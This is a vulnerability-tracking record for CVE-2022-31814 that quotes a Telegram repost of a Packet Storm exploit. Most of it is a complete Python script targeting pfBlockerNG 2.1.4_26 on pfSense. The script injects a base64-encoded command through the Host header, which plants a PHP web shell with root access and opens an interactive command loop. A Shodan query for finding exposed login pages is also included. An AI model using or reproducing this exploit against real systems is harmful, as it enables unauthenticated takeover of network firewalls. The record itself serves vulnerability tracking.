{"uuid": "a0faf76d-5c9d-4d2e-a871-971fda9d3fc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31814", "type": "seen", "source": "https://t.me/hacking_Attack/92257", "content": "Exploit Collector\npfBlockerNG 2.1.4_26 Remote Code Execution\n\nhttps://4.bp.blogspot.com/-sHG2jViTb-c/WWlvSCf2XfI/AAAAAAAAINY/YxfxwjOK_o05QB9TpuqqysTdHaIb3yf8wCLcBGAs/s1600/h36.png \npfBlockerNG version 2.1.4_26 remote code execution exploit.\n\nSHA-256 | 4ac7bffe74c29e0dabbff18d552da8d3e73678fb8ed2b4a6a73be8d67499aebc\n\nDownload\n# Exploit Title: pfBlockerNG 2.1.4_26 - Remote Code Execution (RCE)\n# Shodan Results: https://www.shodan.io/search?query=http.title%3A%22pfSense+-+Login%22+%22Server%3A+nginx%22+%22Set-Cookie%3A+PHPSESSID%3D%22\n# Date: 5th of September 2022\n# Exploit Author: IHTeam\n# Vendor Homepage: https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html\n# Software Link: https://github.com/pfsense/FreeBSD-ports/pull/1169\n# Version: 2.1.4_26\n# Tested on: pfSense 2.6.0\n# CVE : CVE-2022-31814\n# Original Advisory: https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/\n\n#!/usr/bin/env python3\nimport argparse\nimport requests\nimport time\nimport sys\nimport urllib.parse\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\n\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\nparser = argparse.ArgumentParser(description=\"pfBlockerNG <=\nparser.add_argument('--url', action='store', dest='url', required=True, help=\"Full URL and port e.g.: https://192.168.1.111:443/\")\nargs = parser.parse_args()\n\nurl = args.url\nshell_filename = \"system_advanced_control.php\"\n\ndef check_endpoint(url):\nresponse = requests.get('%s/pfblockerng/www/index.php' % (url), verify=False)\nif response.status_code == 200:\nprint(\"[+] pfBlockerNG is installed\")\nelse:\nprint(\"\\n[-] pfBlockerNG not installed\")\nsys.exit()\n\ndef upload_shell(url, shell_filename):\npayload = {\"Host\":\"' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '\"}\nprint(\"[/] Uploading shell...\")\nresponse = requests.get('%s/pfblockerng/www/index.php' % (url), headers=payload, verify=False)\ntime.sleep(2)\nresponse = requests.get('%s/system_advanced_control.php?c=id' % (url), verify=False)\nif ('uid=0(root) gid=0(wheel)' in str(response.content, 'utf-8')):\nprint(\"[+] Upload succeeded\")\nelse:\nprint(\"\\n[-] Error uploading shell. Probably patched \", response.content)\nsys.exit()\n\ndef interactive_shell(url, shell_filename, cmd):\nresponse = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(cmd, safe='')), verify=False)\nprint(str(response.text)+\"\\n\")\ndef delete_shell(url, shell_filename):\ndelcmd = \"rm /usr/local/www/system_advanced_control.php\"\nresponse = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(delcmd, safe='')), verify=False)\nprint(\"\\n[+] Shell deleted\")\n\ncheck_endpoint(url)\nupload_shell(url, shell_filename)\ntry:\nwhile True:\ncmd = input(\"# \")\ninteractive_shell(url, shell_filename, cmd)\nexcept:\ndelete_shell(url, shell_filename)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:04.073435Z"}